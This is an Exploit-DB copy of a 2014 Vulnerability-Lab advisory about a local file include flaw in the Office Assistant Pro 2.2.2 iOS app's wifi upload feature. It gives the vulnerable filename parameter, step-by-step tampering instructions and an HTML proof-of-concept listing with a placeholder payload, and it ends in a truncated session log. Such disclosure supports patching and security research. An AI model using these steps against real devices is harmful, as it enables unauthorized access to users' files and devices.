Exploit-DB #31691
Description: Office Assistant Pro 2.2.2 iOS - Local File Inclusion
Type: webapps
Platform: ios
Date: 2014-02-16
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
Office Assistant Pro v2.2.2 iOS - File Include Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1197


Release Date:
=============
2014-02-13


Vulnerability Laboratory ID (VL-ID):
====================================
1197


Common Vulnerability Scoring System:
====================================
6.9


Product & Service Introduction:
===============================
Office Assistant Pro is an All-Powerful office suite specially designed for you to deal with the Office affairs anywhere, 
anytime on iPhone, iPad or iPod touch. With Office Assistant Pro, you can high-efficiently manage almost all type of 
files by `ONE PAGE` model and make Notes, Reminders, Meeting Recorder as below. The powerful file manager: high-efficiently 
File Management in only “ONE PAGE” and easily File Transferred between local and cloud storage. You can complete all of 
your operations in `ONE PAGE`.

( Copy of the Homepage: https://itunes.apple.com/us/app/office-assistant-pro-full/id449595696 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official Beijing Elinasoft 
Technologies - Office Assistant Pro v2.2.2 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-02-13:    Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Beijing Elinasoft  Technologies
Product: Office Assistant Pro - iOS Mobile Web Application 2.2.2


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official Beijing Elinasoft Office Assistant Pro v2.2.2 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands 
to compromise the web-application or mobile device.

The web vulnerability is located in the `file name` value of the `Upload` module POST method request. Remote attackers are able to inject own files 
with malicious filename to compromise the mobile application. The attack vector is persistent and the request method is POST. The local file/path 
include execution occcurs in the main file dir index- or sub category item listing of the file manager. The security risk of the local file include 
web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.8(+)|(-)6.9.

Exploitation of the local file include web vulnerability requires no user interaction or privileged mobile web-application user account with password. 
Successful exploitation of the local web vulnerability results in mobile application or connected device component compromise by unauthorized local 
file include web attacks.

Request Method(s):
				[+] [POST]

Vulnerable Input(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Item Listing


Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by remote attackers without user interaction or privileged mobile application user account.
For security demonstration or to reproduce the local file include web vulnerability follow the provided information and steps below.

Manually exploitation steps to reproduce the vulnerability ...

1. Install the Beijing Elinasoft Office Assistant Pro v2.2.2 iOS mobile web-application
2. Now visit from a remot ecomputer the wifi web-interface of the service
3. Click the upload button and tamper the next request (POST method)
4. Exchange the filename value with your own malicious local file or path request
5. Continue after the intercept and refresh the index file dir
6. The malicious local file request execution occurs in the main file dir index listing
7. Successful reproduce of the vulnerability! 


PoC: Index File Dir Item Listing - Upload > [filename]

<tbody><tr><td>Name</td><td width="20px"> </td><td>Last modified</td><td width="20px"> </td>
<td style="text-align:right">Size</td></tr><tr><td colspan="5"><hr></td></tr><tr><td><a href="http://192.168.2.109:8080/User%20Manual/">User Manual/</a></td>
<td> </td><td style="font-size:9pt;">12.02.2014 01:43</td><td> </td><td style="text-align:right; font-size:9pt;">--</td></tr><tr><td colspan="5"><hr></td></tr>
<tr><td><a href="http://localhost:8080/%3%2F./[LOCAL FILE INCLUDE VULNERABILITY!]'<"><%2F./[LOCAL FILE INCLUDE VULNERABILITY!]'<"></a></td><td>
 </td><td style="font-size:9pt;">12.02.2014 
01:44</td><td> </td><td 
style="text-align:right; font-size:9pt;">    23.8 
Kb</td></tr></table></p><form action="" 
method="post" enctype="multipart/form-data" name="form1" 
id="form1"><input type="file" name="file" id="file" 
/></label><label><input type="submit" name="button" 
id="button" value="Upload" 
/></label></form><p> </p><hr 
/><font size="2" style="color:gray">© 2014 Elinasoft 
Technologies Ltd. All Rights Reserved.</font><br><font 
size="2"><a 
href="http://www.x.com">http://www.x.com</a></font><br><font size="2"><a 
href="http://x.com/elinasoft">http://x.com/elinasoft</a></font><br><font size="2"><a 
href="http://x.com/elinasoft">http://x.com/elinasoft</a></font></body></html></iframe></a></td></tr></tbody>


--- PoC Session Logs [POST] ---


Status: 200[OK]
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[1739] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100